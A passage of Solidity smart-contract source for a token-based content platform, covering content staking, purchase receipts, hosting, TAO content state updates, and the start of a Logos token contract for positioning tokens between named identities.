uint256 _networkFractionAmount,
bytes8 _denomination,
uint256 _primordialAmount,
string _baseChallenge,
string _encChallenge,
string _contentDatKey,
string _metadataDatKey,
uint256 _fileSize,
address _taoId)
public isContractActive {
require (AOLibrary.canStake(treasuryAddress, _networkIntegerAmount, _networkFractionAmount, _denomination, _primordialAmount, _baseChallenge, _encChallenge, _contentDatKey, _metadataDatKey, _fileSize, 0));
require (
_treasury.toBase(_networkIntegerAmount, _networkFractionAmount, _denomination).add(_primordialAmount) == _fileSize &&
_nameTAOPosition.senderIsPosition(msg.sender, _taoId)
);
(,,bytes32 _contentUsageType_taoContent,,,) = _getSettingVariables();
/**
* 1. Store this content
* 2. Stake the network/primordial token on content
* 3. Add the node info that hosts this content (in this case the creator himself)
*/
_hostContent(
msg.sender,
_stakeContent(
msg.sender,
_storeContent(
msg.sender,
_baseChallenge,
_fileSize,
_contentUsageType_taoContent,
_taoId
),
_networkIntegerAmount,
_networkFractionAmount,
_denomination,
_primordialAmount,
0
),
_encChallenge,
_contentDatKey,
_metadataDatKey
);
}
/**
* @dev Set profit percentage on existing staked content
* Will throw error if this is a Creative Commons/T(AO) Content
* @param _stakeId The ID of the staked content
* @param _profitPercentage The new value to be set
*/
function setProfitPercentage(bytes32 _stakeId, uint256 _profitPercentage) public isContractActive {
require (_profitPercentage <= AOLibrary.PERCENTAGE_DIVISOR());
// Make sure the staked content exist
require (stakedContentIndex[_stakeId] > 0);
StakedContent storage _stakedContent = stakedContents[stakedContentIndex[_stakeId]];
// Make sure the staked content owner is the same as the sender
require (_stakedContent.stakeOwner == msg.sender);
// Make sure we are updating profit percentage for AO Content only
// Creative Commons/T(AO) Content has 0 profit percentage
require (_isAOContentUsageType(_stakedContent.contentId));
_stakedContent.profitPercentage = _profitPercentage;
emit SetProfitPercentage(msg.sender, _stakeId, _profitPercentage);
}
/**
* @dev Set extra data on existing content
* @param _contentId The ID of the content
* @param _extraData some extra information to send to the contract for a content
*/
function setContentExtraData(bytes32 _contentId, string _extraData) public isContractActive {
// Make sure the content exist
require (contentIndex[_contentId] > 0);
Content storage _content = contents[contentIndex[_contentId]];
// Make sure the content creator is the same as the sender
require (_content.creator == msg.sender);
_content.extraData = _extraData;
}
/**
* @dev Return content info at a given ID
* @param _contentId The ID of the content
* @return address of the creator
* @return file size of the content
* @return the content usage type, i.e AO Content, Creative Commons, or T(AO) Content
* @return The TAO ID for this content (if this is a T(AO) Content)
* @return The TAO Content state, i.e Submitted, Pending Review, or Accepted to TAO
* @return The V part of signature that is used to update the TAO Content State
* @return The R part of signature that is used to update the TAO Content State
* @return The S part of signature that is used to update the TAO Content State
* @return the extra information sent to the contract when creating a content
*/
function contentById(bytes32 _contentId) public view returns (address, uint256, bytes32, address, bytes32, uint8, bytes32, bytes32, string) {
// Make sure the content exist
require (contentIndex[_contentId] > 0);
Content memory _content = contents[contentIndex[_contentId]];
return (
_content.creator,
_content.fileSize,
_content.contentUsageType,
_content.taoId,
_content.taoContentState,
_content.updateTAOContentStateV,
_content.updateTAOContentStateR,
_content.updateTAOContentStateS,
_content.extraData
);
}
/**
* @dev Return content host info at a given ID
* @param _contentHostId The ID of the hosted content
* @return The ID of the staked content
* @return address of the host
* @return the dat key of the content
* @return the dat key of the content's metadata
*/
function contentHostById(bytes32 _contentHostId) public view returns (bytes32, address, string, string) {
// Make sure the content host exist
require (contentHostIndex[_contentHostId] > 0);
ContentHost memory _contentHost = contentHosts[contentHostIndex[_contentHostId]];
return (
_contentHost.stakeId,
_contentHost.host,
_contentHost.contentDatKey,
_contentHost.metadataDatKey
);
}
/**
* @dev Return staked content information at a given ID
* @param _stakeId The ID of the staked content
* @return The ID of the content being staked
* @return address of the staked content's owner
* @return the network base token amount staked for this content
* @return the primordial token amount staked for this content
* @return the primordial weighted multiplier of the staked content
* @return the profit percentage of the content
* @return status of the staked content
* @return the timestamp when the staked content was created
*/
function stakedContentById(bytes32 _stakeId) public view returns (bytes32, address, uint256, uint256, uint256, uint256, bool, uint256) {
// Make sure the staked content exist
require (stakedContentIndex[_stakeId] > 0);
StakedContent memory _stakedContent = stakedContents[stakedContentIndex[_stakeId]];
return (
_stakedContent.contentId,
_stakedContent.stakeOwner,
_stakedContent.networkAmount,
_stakedContent.primordialAmount,
_stakedContent.primordialWeightedMultiplier,
_stakedContent.profitPercentage,
_stakedContent.active,
_stakedContent.createdOnTimestamp
);
}
/**
* @dev Unstake existing staked content and refund partial staked amount to the stake owner
* Use unstakeContent() to unstake all staked token amount. unstakePartialContent() can unstake only up to
* the mininum required to pay the fileSize
* @param _stakeId The ID of the staked content
* @param _networkIntegerAmount The integer amount of network token to unstake
* @param _networkFractionAmount The fraction amount of network token to unstake
* @param _denomination The denomination of the network token, i.e ao, kilo, mega, etc.
* @param _primordialAmount The amount of primordial Token to unstake
*/
function unstakePartialContent(bytes32 _stakeId, uint256 _networkIntegerAmount, uint256 _networkFractionAmount, bytes8 _denomination, uint256 _primordialAmount) public isContractActive {
// Make sure the staked content exist
require (stakedContentIndex[_stakeId] > 0);
require (_networkIntegerAmount > 0 || _networkFractionAmount > 0 || _primordialAmount > 0);
StakedContent storage _stakedContent = stakedContents[stakedContentIndex[_stakeId]];
uint256 _fileSize = contents[contentIndex[_stakedContent.contentId]].fileSize;
// Make sure the staked content owner is the same as the sender
require (_stakedContent.stakeOwner == msg.sender);
// Make sure the staked content is currently active (staked) with some amounts
require (_stakedContent.active == true && (_stakedContent.networkAmount > 0 || (_stakedContent.primordialAmount > 0 && _stakedContent.primordialWeightedMultiplier > 0)));
// Make sure the staked content has enough balance to unstake
require (AOLibrary.canUnstakePartial(treasuryAddress, _networkIntegerAmount, _networkFractionAmount, _denomination, _primordialAmount, _stakedContent.networkAmount, _stakedContent.primordialAmount, _fileSize));
if (_denomination[0] != 0 && (_networkIntegerAmount > 0 || _networkFractionAmount > 0)) {
uint256 _unstakeNetworkAmount = _treasury.toBase(_networkIntegerAmount, _networkFractionAmount, _denomination);
_stakedContent.networkAmount = _stakedContent.networkAmount.sub(_unstakeNetworkAmount);
require (_baseAO.unstakeFrom(msg.sender, _unstakeNetworkAmount));
}
if (_primordialAmount > 0) {
_stakedContent.primordialAmount = _stakedContent.primordialAmount.sub(_primordialAmount);
require (_baseAO.unstakePrimordialTokenFrom(msg.sender, _primordialAmount, _stakedContent.primordialWeightedMultiplier));
}
emit UnstakePartialContent(_stakedContent.stakeOwner, _stakedContent.stakeId, _stakedContent.contentId, _stakedContent.networkAmount, _stakedContent.primordialAmount, _stakedContent.primordialWeightedMultiplier);
}
/**
* @dev Unstake existing staked content and refund the total staked amount to the stake owner
* @param _stakeId The ID of the staked content
*/
function unstakeContent(bytes32 _stakeId) public isContractActive {
// Make sure the staked content exist
require (stakedContentIndex[_stakeId] > 0);
StakedContent storage _stakedContent = stakedContents[stakedContentIndex[_stakeId]];
// Make sure the staked content owner is the same as the sender
require (_stakedContent.stakeOwner == msg.sender);
// Make sure the staked content is currently active (staked) with some amounts
require (_stakedContent.active == true && (_stakedContent.networkAmount > 0 || (_stakedContent.primordialAmount > 0 && _stakedContent.primordialWeightedMultiplier > 0)));
_stakedContent.active = false;
if (_stakedContent.networkAmount > 0) {
uint256 _unstakeNetworkAmount = _stakedContent.networkAmount;
_stakedContent.networkAmount = 0;
require (_baseAO.unstakeFrom(msg.sender, _unstakeNetworkAmount));
}
if (_stakedContent.primordialAmount > 0) {
uint256 _primordialAmount = _stakedContent.primordialAmount;
uint256 _primordialWeightedMultiplier = _stakedContent.primordialWeightedMultiplier;
_stakedContent.primordialAmount = 0;
_stakedContent.primordialWeightedMultiplier = 0;
require (_baseAO.unstakePrimordialTokenFrom(msg.sender, _primordialAmount, _primordialWeightedMultiplier));
}
emit UnstakeContent(_stakedContent.stakeOwner, _stakeId);
}
/**
* @dev Stake existing content with more tokens (this is to increase the price)
*
* @param _stakeId The ID of the staked content
* @param _networkIntegerAmount The integer amount of network token to stake
* @param _networkFractionAmount The fraction amount of network token to stake
* @param _denomination The denomination of the network token, i.e ao, kilo, mega, etc.
* @param _primordialAmount The amount of primordial Token to stake. (The primordial weighted multiplier has to match the current staked weighted multiplier)
*/
function stakeExistingContent(bytes32 _stakeId, uint256 _networkIntegerAmount, uint256 _networkFractionAmount, bytes8 _denomination, uint256 _primordialAmount) public isContractActive {
// Make sure the staked content exist
require (stakedContentIndex[_stakeId] > 0);
StakedContent storage _stakedContent = stakedContents[stakedContentIndex[_stakeId]];
uint256 _fileSize = contents[contentIndex[_stakedContent.contentId]].fileSize;
// Make sure the staked content owner is the same as the sender
require (_stakedContent.stakeOwner == msg.sender);
require (_networkIntegerAmount > 0 || _networkFractionAmount > 0 || _primordialAmount > 0);
require (AOLibrary.canStakeExisting(treasuryAddress, _isAOContentUsageType(_stakedContent.contentId), _fileSize, _stakedContent.networkAmount.add(_stakedContent.primordialAmount), _networkIntegerAmount, _networkFractionAmount, _denomination, _primordialAmount));
// Make sure we can stake primordial token
// If we are currently staking an active staked content, then the stake owner's weighted multiplier has to match `stakedContent.primordialWeightedMultiplier`
// i.e, can't use a combination of different weighted multiplier. Stake owner has to call unstakeContent() to unstake all tokens first
if (_primordialAmount > 0 && _stakedContent.active && _stakedContent.primordialAmount > 0 && _stakedContent.primordialWeightedMultiplier > 0) {
require (_baseAO.weightedMultiplierByAddress(msg.sender) == _stakedContent.primordialWeightedMultiplier);
}
_stakedContent.active = true;
if (_denomination[0] != 0 && (_networkIntegerAmount > 0 || _networkFractionAmount > 0)) {
uint256 _stakeNetworkAmount = _treasury.toBase(_networkIntegerAmount, _networkFractionAmount, _denomination);
_stakedContent.networkAmount = _stakedContent.networkAmount.add(_stakeNetworkAmount);
require (_baseAO.stakeFrom(_stakedContent.stakeOwner, _stakeNetworkAmount));
}
if (_primordialAmount > 0) {
_stakedContent.primordialAmount = _stakedContent.primordialAmount.add(_primordialAmount);
// Primordial Token is the base AO Token
_stakedContent.primordialWeightedMultiplier = _baseAO.weightedMultiplierByAddress(_stakedContent.stakeOwner);
require (_baseAO.stakePrimordialTokenFrom(_stakedContent.stakeOwner, _primordialAmount, _stakedContent.primordialWeightedMultiplier));
}
emit StakeExistingContent(msg.sender, _stakedContent.stakeId, _stakedContent.contentId, _stakedContent.networkAmount, _stakedContent.primordialAmount, _stakedContent.primordialWeightedMultiplier);
}
/**
* @dev Determine the content price hosted by a host
* @param _contentHostId The content host ID to be checked
* @return the price of the content
*/
function contentHostPrice(bytes32 _contentHostId) public isContractActive view returns (uint256) {
// Make sure content host exist
require (contentHostIndex[_contentHostId] > 0);
bytes32 _stakeId = contentHosts[contentHostIndex[_contentHostId]].stakeId;
StakedContent memory _stakedContent = stakedContents[stakedContentIndex[_stakeId]];
// Make sure content is currently staked
require (_stakedContent.active == true && (_stakedContent.networkAmount > 0 || (_stakedContent.primordialAmount > 0 && _stakedContent.primordialWeightedMultiplier > 0)));
return _stakedContent.networkAmount.add(_stakedContent.primordialAmount);
}
/**
* @dev Determine the how much the content is paid by AO given a contentHostId
* @param _contentHostId The content host ID to be checked
* @return the amount paid by AO
*/
function contentHostPaidByAO(bytes32 _contentHostId) public isContractActive view returns (uint256) {
bytes32 _stakeId = contentHosts[contentHostIndex[_contentHostId]].stakeId;
bytes32 _contentId = stakedContents[stakedContentIndex[_stakeId]].contentId;
if (_isAOContentUsageType(_contentId)) {
return 0;
} else {
return contentHostPrice(_contentHostId);
}
}
/**
* @dev Bring content in to the requesting node by sending network tokens to the contract to pay for the content
* @param _contentHostId The ID of hosted content
* @param _networkIntegerAmount The integer amount of network token to pay
* @param _networkFractionAmount The fraction amount of network token to pay
* @param _denomination The denomination of the network token, i.e ao, kilo, mega, etc.
* @param _publicKey The public key of the request node
* @param _publicAddress The public address of the request node
*/
function buyContent(bytes32 _contentHostId, uint256 _networkIntegerAmount, uint256 _networkFractionAmount, bytes8 _denomination, string _publicKey, address _publicAddress) public isContractActive {
// Make sure the content host exist
require (contentHostIndex[_contentHostId] > 0);
// Make sure public key is not empty
require (bytes(_publicKey).length > 0);
// Make sure public address is valid
require (_publicAddress != address(0));
ContentHost memory _contentHost = contentHosts[contentHostIndex[_contentHostId]];
StakedContent memory _stakedContent = stakedContents[stakedContentIndex[_contentHost.stakeId]];
// Make sure the content currently has stake
require (_stakedContent.active == true && (_stakedContent.networkAmount > 0 || (_stakedContent.primordialAmount > 0 && _stakedContent.primordialWeightedMultiplier > 0)));
// Make sure the buyer has not bought this content previously
require (buyerPurchaseReceipts[msg.sender][_contentHostId][0] == 0);
// Make sure the token amount can pay for the content price
if (_isAOContentUsageType(_stakedContent.contentId)) {
require (AOLibrary.canBuy(treasuryAddress, _stakedContent.networkAmount.add(_stakedContent.primordialAmount), _networkIntegerAmount, _networkFractionAmount, _denomination));
}
// Increment totalPurchaseReceipts;
totalPurchaseReceipts++;
// Generate purchaseId
bytes32 _purchaseId = keccak256(abi.encodePacked(this, msg.sender, _contentHostId));
PurchaseReceipt storage _purchaseReceipt = purchaseReceipts[totalPurchaseReceipts];
// Make sure the node doesn't buy the same content twice
require (_purchaseReceipt.buyer == address(0));
_purchaseReceipt.purchaseId = _purchaseId;
_purchaseReceipt.contentHostId = _contentHostId;
_purchaseReceipt.buyer = msg.sender;
// Update the receipt with the correct network amount
_purchaseReceipt.price = _stakedContent.networkAmount.add(_stakedContent.primordialAmount);
_purchaseReceipt.amountPaidByAO = contentHostPaidByAO(_contentHostId);
_purchaseReceipt.amountPaidByBuyer = _purchaseReceipt.price.sub(_purchaseReceipt.amountPaidByAO);
_purchaseReceipt.publicKey = _publicKey;
_purchaseReceipt.publicAddress = _publicAddress;
_purchaseReceipt.createdOnTimestamp = now;
purchaseReceiptIndex[_purchaseId] = totalPurchaseReceipts;
buyerPurchaseReceipts[msg.sender][_contentHostId] = _purchaseId;
// Calculate content creator/host/The AO earning from this purchase and store them in escrow
require (_earning.calculateEarning(
msg.sender,
_purchaseId,
_stakedContent.networkAmount,
_stakedContent.primordialAmount,
_stakedContent.primordialWeightedMultiplier,
_stakedContent.profitPercentage,
_stakedContent.stakeOwner,
_contentHost.host,
_isAOContentUsageType(_stakedContent.contentId)
));
emit BuyContent(_purchaseReceipt.buyer, _purchaseReceipt.purchaseId, _purchaseReceipt.contentHostId, _purchaseReceipt.price, _purchaseReceipt.amountPaidByAO, _purchaseReceipt.amountPaidByBuyer, _purchaseReceipt.publicKey, _purchaseReceipt.publicAddress, _purchaseReceipt.createdOnTimestamp);
}
/**
* @dev Return purchase receipt info at a given ID
* @param _purchaseId The ID of the purchased content
* @return The ID of the content host
* @return address of the buyer
* @return price of the content
* @return amount paid by AO
* @return amount paid by Buyer
* @return request node's public key
* @return request node's public address
* @return created on timestamp
*/
function purchaseReceiptById(bytes32 _purchaseId) public view returns (bytes32, address, uint256, uint256, uint256, string, address, uint256) {
// Make sure the purchase receipt exist
require (purchaseReceiptIndex[_purchaseId] > 0);
PurchaseReceipt memory _purchaseReceipt = purchaseReceipts[purchaseReceiptIndex[_purchaseId]];
return (
_purchaseReceipt.contentHostId,
_purchaseReceipt.buyer,
_purchaseReceipt.price,
_purchaseReceipt.amountPaidByAO,
_purchaseReceipt.amountPaidByBuyer,
_purchaseReceipt.publicKey,
_purchaseReceipt.publicAddress,
_purchaseReceipt.createdOnTimestamp
);
}
/**
* @dev Request node wants to become a distribution node after buying the content
* Also, if this transaction succeeds, contract will release all of the earnings that are
* currently in escrow for content creator/host/The AO
*/
function becomeHost(
bytes32 _purchaseId,
uint8 _baseChallengeV,
bytes32 _baseChallengeR,
bytes32 _baseChallengeS,
string _encChallenge,
string _contentDatKey,
string _metadataDatKey
) public isContractActive {
// Make sure the purchase receipt exist
require (purchaseReceiptIndex[_purchaseId] > 0);
PurchaseReceipt memory _purchaseReceipt = purchaseReceipts[purchaseReceiptIndex[_purchaseId]];
bytes32 _stakeId = contentHosts[contentHostIndex[_purchaseReceipt.contentHostId]].stakeId;
bytes32 _contentId = stakedContents[stakedContentIndex[_stakeId]].contentId;
// Make sure the purchase receipt owner is the same as the sender
require (_purchaseReceipt.buyer == msg.sender);
// Verify that the file is not tampered by validating the base challenge signature
// The signed base challenge key should match the one from content creator
Content memory _content = contents[contentIndex[_contentId]];
require (AOLibrary.getBecomeHostSignatureAddress(address(this), _content.baseChallenge, _baseChallengeV, _baseChallengeR, _baseChallengeS) == _purchaseReceipt.publicAddress);
_hostContent(msg.sender, _stakeId, _encChallenge, _contentDatKey, _metadataDatKey);
// Release earning from escrow
require (_earning.releaseEarning(
_stakeId,
_purchaseReceipt.contentHostId,
_purchaseId,
(_purchaseReceipt.amountPaidByBuyer > _content.fileSize),
stakedContents[stakedContentIndex[_stakeId]].stakeOwner,
contentHosts[contentHostIndex[_purchaseReceipt.contentHostId]].host)
);
}
/**
* @dev Update the TAO Content State of a T(AO) Content
* @param _contentId The ID of the Content
* @param _taoId The ID of the TAO that initiates the update
* @param _taoContentState The TAO Content state value, i.e Submitted, Pending Review, or Accepted to TAO
* @param _updateTAOContentStateV The V part of the signature for this update
* @param _updateTAOContentStateR The R part of the signature for this update
* @param _updateTAOContentStateS The S part of the signature for this update
*/
function updateTAOContentState(
bytes32 _contentId,
address _taoId,
bytes32 _taoContentState,
uint8 _updateTAOContentStateV,
bytes32 _updateTAOContentStateR,
bytes32 _updateTAOContentStateS
) public isContractActive {
// Make sure the content exist
require (contentIndex[_contentId] > 0);
require (AOLibrary.isTAO(_taoId));
(,, bytes32 _contentUsageType_taoContent, bytes32 taoContentState_submitted, bytes32 taoContentState_pendingReview, bytes32 taoContentState_acceptedToTAO) = _getSettingVariables();
require (_taoContentState == taoContentState_submitted || _taoContentState == taoContentState_pendingReview || _taoContentState == taoContentState_acceptedToTAO);
address _signatureAddress = AOLibrary.getUpdateTAOContentStateSignatureAddress(address(this), _contentId, _taoId, _taoContentState, _updateTAOContentStateV, _updateTAOContentStateR, _updateTAOContentStateS);
Content storage _content = contents[contentIndex[_contentId]];
// Make sure that the signature address is one of content's TAO ID's Advocate/Listener/Speaker
require (_signatureAddress == msg.sender && _nameTAOPosition.senderIsPosition(_signatureAddress, _content.taoId));
require (_content.contentUsageType == _contentUsageType_taoContent);
_content.taoContentState = _taoContentState;
_content.updateTAOContentStateV = _updateTAOContentStateV;
_content.updateTAOContentStateR = _updateTAOContentStateR;
_content.updateTAOContentStateS = _updateTAOContentStateS;
emit UpdateTAOContentState(_contentId, _taoId, _signatureAddress, _taoContentState);
}
/***** INTERNAL METHODS *****/
/**
* @dev Store the content information (content creation during staking)
* @param _creator the address of the content creator
* @param _baseChallenge The base challenge string (PUBLIC KEY) of the content
* @param _fileSize The size of the file
* @param _contentUsageType The content usage type, i.e AO Content, Creative Commons, or T(AO) Content
* @param _taoId The TAO (TAO) ID for this content (if this is a T(AO) Content)
* @return the ID of the content
*/
function _storeContent(address _creator, string _baseChallenge, uint256 _fileSize, bytes32 _contentUsageType, address _taoId) internal returns (bytes32) {
// Increment totalContents
totalContents++;
// Generate contentId
bytes32 _contentId = keccak256(abi.encodePacked(this, _creator, totalContents));
Content storage _content = contents[totalContents];
// Make sure the node does't store the same content twice
require (_content.creator == address(0));
(,,bytes32 contentUsageType_taoContent, bytes32 taoContentState_submitted,,) = _getSettingVariables();
_content.contentId = _contentId;
_content.creator = _creator;
_content.baseChallenge = _baseChallenge;
_content.fileSize = _fileSize;
_content.contentUsageType = _contentUsageType;
// If this is a TAO Content
if (_contentUsageType == contentUsageType_taoContent) {
_content.taoContentState = taoContentState_submitted;
_content.taoId = _taoId;
}
contentIndex[_contentId] = totalContents;
emit StoreContent(_content.creator, _content.contentId, _content.fileSize, _content.contentUsageType);
return _content.contentId;
}
/**
* @dev Add the distribution node info that hosts the content
* @param _host the address of the host
* @param _stakeId The ID of the staked content
* @param _encChallenge The encrypted challenge string (PUBLIC KEY) of the content unique to the host
* @param _contentDatKey The dat key of the content
* @param _metadataDatKey The dat key of the content's metadata
*/
function _hostContent(address _host, bytes32 _stakeId, string _encChallenge, string _contentDatKey, string _metadataDatKey) internal {
require (bytes(_encChallenge).length > 0);
require (bytes(_contentDatKey).length > 0);
require (bytes(_metadataDatKey).length > 0);
require (stakedContentIndex[_stakeId] > 0);
// Increment totalContentHosts
totalContentHosts++;
// Generate contentId
bytes32 _contentHostId = keccak256(abi.encodePacked(this, _host, _stakeId));
ContentHost storage _contentHost = contentHosts[totalContentHosts];
// Make sure the node doesn't host the same content twice
require (_contentHost.host == address(0));
_contentHost.contentHostId = _contentHostId;
_contentHost.stakeId = _stakeId;
_contentHost.host = _host;
_contentHost.encChallenge = _encChallenge;
_contentHost.contentDatKey = _contentDatKey;
_contentHost.metadataDatKey = _metadataDatKey;
contentHostIndex[_contentHostId] = totalContentHosts;
emit HostContent(_contentHost.host, _contentHost.contentHostId, _contentHost.stakeId, _contentHost.contentDatKey, _contentHost.metadataDatKey);
}
/**
* @dev actual staking the content
* @param _stakeOwner the address that stake the content
* @param _contentId The ID of the content
* @param _networkIntegerAmount The integer amount of network token to stake
* @param _networkFractionAmount The fraction amount of network token to stake
* @param _denomination The denomination of the network token, i.e ao, kilo, mega, etc.
* @param _primordialAmount The amount of primordial Token to stake
* @param _profitPercentage The percentage of profit the stake owner's media will charge
* @return the newly created staked content ID
*/
function _stakeContent(address _stakeOwner, bytes32 _contentId, uint256 _networkIntegerAmount, uint256 _networkFractionAmount, bytes8 _denomination, uint256 _primordialAmount, uint256 _profitPercentage) internal returns (bytes32) {
// Increment totalStakedContents
totalStakedContents++;
// Generate stakeId
bytes32 _stakeId = keccak256(abi.encodePacked(this, _stakeOwner, _contentId));
StakedContent storage _stakedContent = stakedContents[totalStakedContents];
// Make sure the node doesn't stake the same content twice
require (_stakedContent.stakeOwner == address(0));
_stakedContent.stakeId = _stakeId;
_stakedContent.contentId = _contentId;
_stakedContent.stakeOwner = _stakeOwner;
_stakedContent.profitPercentage = _profitPercentage;
_stakedContent.active = true;
_stakedContent.createdOnTimestamp = now;
stakedContentIndex[_stakeId] = totalStakedContents;
if (_denomination[0] != 0 && (_networkIntegerAmount > 0 || _networkFractionAmount > 0)) {
_stakedContent.networkAmount = _treasury.toBase(_networkIntegerAmount, _networkFractionAmount, _denomination);
require (_baseAO.stakeFrom(_stakeOwner, _stakedContent.networkAmount));
}
if (_primordialAmount > 0) {
_stakedContent.primordialAmount = _primordialAmount;
// Primordial Token is the base AO Token
_stakedContent.primordialWeightedMultiplier = _baseAO.weightedMultiplierByAddress(_stakedContent.stakeOwner);
require (_baseAO.stakePrimordialTokenFrom(_stakedContent.stakeOwner, _primordialAmount, _stakedContent.primordialWeightedMultiplier));
}
emit StakeContent(_stakedContent.stakeOwner, _stakedContent.stakeId, _stakedContent.contentId, _stakedContent.networkAmount, _stakedContent.primordialAmount, _stakedContent.primordialWeightedMultiplier, _stakedContent.profitPercentage, _stakedContent.createdOnTimestamp);
return _stakedContent.stakeId;
}
/**
* @dev Get setting variables
* @return contentUsageType_aoContent Content Usage Type = AO Content
* @return contentUsageType_creativeCommons Content Usage Type = Creative Commons
* @return contentUsageType_taoContent Content Usage Type = T(AO) Content
* @return taoContentState_submitted TAO Content State = Submitted
* @return taoContentState_pendingReview TAO Content State = Pending Review
* @return taoContentState_acceptedToTAO TAO Content State = Accepted to TAO
*/
function _getSettingVariables() internal view returns (bytes32, bytes32, bytes32, bytes32, bytes32, bytes32) {
(,,,bytes32 contentUsageType_aoContent,) = _aoSetting.getSettingValuesByTAOName(settingTAOId, 'contentUsageType_aoContent');
(,,,bytes32 contentUsageType_creativeCommons,) = _aoSetting.getSettingValuesByTAOName(settingTAOId, 'contentUsageType_creativeCommons');
(,,,bytes32 contentUsageType_taoContent,) = _aoSetting.getSettingValuesByTAOName(settingTAOId, 'contentUsageType_taoContent');
(,,,bytes32 taoContentState_submitted,) = _aoSetting.getSettingValuesByTAOName(settingTAOId, 'taoContentState_submitted');
(,,,bytes32 taoContentState_pendingReview,) = _aoSetting.getSettingValuesByTAOName(settingTAOId, 'taoContentState_pendingReview');
(,,,bytes32 taoContentState_acceptedToTAO,) = _aoSetting.getSettingValuesByTAOName(settingTAOId, 'taoContentState_acceptedToTAO');
return (
contentUsageType_aoContent,
contentUsageType_creativeCommons,
contentUsageType_taoContent,
taoContentState_submitted,
taoContentState_pendingReview,
taoContentState_acceptedToTAO
);
}
/**
* @dev Check whether or not the content is of AO Content Usage Type
* @param _contentId The ID of the content
* @return true if yes. false otherwise
*/
function _isAOContentUsageType(bytes32 _contentId) internal view returns (bool) {
(bytes32 _contentUsageType_aoContent,,,,,) = _getSettingVariables();
return contents[contentIndex[_contentId]].contentUsageType == _contentUsageType_aoContent;
}
}
/**
* @title Name
*/
contract Name is TAO {
/**
* @dev Constructor function
*/
constructor (string _name, address _originId, string _datHash, string _database, string _keyValue, bytes32 _contentId, address _vaultAddress)
TAO (_name, _originId, _datHash, _database, _keyValue, _contentId, _vaultAddress) public {
// Creating Name
typeId = 1;
}
}
contract Logos is TAOCurrency {
NameTAOPosition internal _nameTAOPosition;
// Mapping of a Name ID to the amount of Logos positioned by others to itself
// address is the address of nameId, not the eth public address
mapping (address => uint256) public positionFromOthers;
// Mapping of Name ID to other Name ID and the amount of Logos positioned by itself
mapping (address => mapping(address => uint256)) public positionToOthers;
// Mapping of a Name ID to the total amount of Logos positioned by itself to others
mapping (address => uint256) public totalPositionToOthers;
// Mapping of Name ID to it's advocated TAO ID and the amount of Logos earned
mapping (address => mapping(address => uint256)) public advocatedTAOLogos;
// Mapping of a Name ID to the total amount of Logos earned from advocated TAO
mapping (address => uint256) public totalAdvocatedTAOLogos;
// Event broadcasted to public when `from` address position `value` Logos to `to`
event PositionFrom(address indexed from, address indexed to, uint256 value);
// Event broadcasted to public when `from` address unposition `value` Logos from `to`
event UnpositionFrom(address indexed from, address indexed to, uint256 value);
// Event broadcasted to public when `nameId` receives `amount` of Logos from advocating `taoId`
event AddAdvocatedTAOLogos(address indexed nameId, address indexed taoId, uint256 amount);
// Event broadcasted to public when Logos from advocating `taoId` is transferred from `fromNameId` to `toNameId`
event TransferAdvocatedTAOLogos(address indexed fromNameId, address indexed toNameId, address indexed taoId, uint256 amount);
/**
* @dev Constructor function
*/
constructor(uint256 initialSupply, string tokenName, string tokenSymbol, address _nameTAOPositionAddress)
TAOCurrency(initialSupply, tokenName, tokenSymbol) public {
nameTAOPositionAddress = _nameTAOPositionAddress;
_nameTAOPosition = NameTAOPosition(_nameTAOPositionAddress);
}
/**
* @dev Check if `_taoId` is a TAO
*/
modifier isTAO(address _taoId) {
require (AOLibrary.isTAO(_taoId));
_;
}
/**
* @dev Check if `_nameId` is a Name
*/
modifier isName(address _nameId) {
require (AOLibrary.isName(_nameId));
_;
}
/**
* @dev Check if msg.sender is the current advocate of _id
*/
modifier onlyAdvocate(address _id) {
require (_nameTAOPosition.senderIsAdvocate(msg.sender, _id));
_;
}
/***** PUBLIC METHODS *****/
/**
* @dev Get the total sum of Logos for an address
* @param _target The address to check
* @return The total sum of Logos (own + positioned + advocated TAOs)
*/
function sumBalanceOf(address _target) public isNameOrTAO(_target) view returns (uint256) {
return balanceOf[_target].add(positionFromOthers[_target]).add(totalAdvocatedTAOLogos[_target]);
}
/**
* @dev `_from` Name position `_value` Logos onto `_to` Name
*
* @param _from The address of the sender
* @param _to The address of the recipient
* @param _value the amount to position
* @return true on success
*/
function positionFrom(address _from, address _to, uint256 _value) public isName(_from) isName(_to) onlyAdvocate(_from) returns (bool) {
require (_from != _to); // Can't position Logos to itself
require (balanceOf[_from].sub(totalPositionToOthers[_from]) >= _value); // should have enough balance to position
require (positionFromOthers[_to].add(_value) >= positionFromOthers[_to]); // check for overflows
uint256 previousPositionToOthers = totalPositionToOthers[_from];
uint256 previousPositionFromOthers = positionFromOthers[_to];
uint256 previousAvailPositionBalance = balanceOf[_from].sub(totalPositionToOthers[_from]);
positionToOthers[_from][_to] = positionToOthers[_from][_to].add(_value);
totalPositionToOthers[_from] = totalPositionToOthers[_from].add(_value);
positionFromOthers[_to] = positionFromOthers[_to].add(_value);
emit PositionFrom(_from, _to, _value);
assert(totalPositionToOthers[_from].sub(_value) == previousPositionToOthers);
assert(positionFromOthers[_to].sub(_value) == previousPositionFromOthers);
assert(balanceOf[_from].sub(totalPositionToOthers[_from]) <= previousAvailPositionBalance);
return true;
}
/**
* @dev `_from` Name unposition `_value` Logos from `_to` Name
*
* @param _from The address of the sender
* @param _to The address of the recipient
* @param _value the amount to unposition
* @return true on success
*/
function unpositionFrom(address _from, address _to, uint256 _value) public isName(_from) isName(_to) onlyAdvocate(_from) returns (bool) {
require (_from != _to); // Can't unposition Logos to itself
require (positionToOthers[_from][_to] >= _value);
uint256 previousPositionToOthers = totalPositionToOthers[_from];
uint256 previousPositionFromOthers = positionFromOthers[_to];
uint256 previousAvailPositionBalance = balanceOf[_from].sub(totalPositionToOthers[_from]);
positionToOthers[_from][_to] = positionToOthers[_from][_to].sub(_value);
totalPositionToOthers[_from] = totalPositionToOthers[_from].sub(_value);
positionFromOthers[_to] = positionFromOthers[_to].sub(_value);
emit UnpositionFrom(_from, _to, _value);
assert(totalPositionToOthers[_from].add(_value) == previousPositionToOthers);
assert(positionFromOthers[_to].add(_value) == previousPositionFromOthers);
assert(balanceOf[_from].sub(totalPositionToOthers[_from]) >= previousAvailPositionBalance);
return true;
}
/**
* @dev Add `_amount` logos earned from advocating a TAO `_taoId` to its Advocate
* @param _taoId The ID of the advocated TAO
* @param _amount the amount to reward
* @return true on success
*/
function addAdvocatedTAOLogos(address _taoId, uint256 _amount) public inWhitelist isTAO(_taoId) returns (bool) {
require (_amount > 0);
address _nameId = _nameTAOPosition.getAdvocate(_taoId);
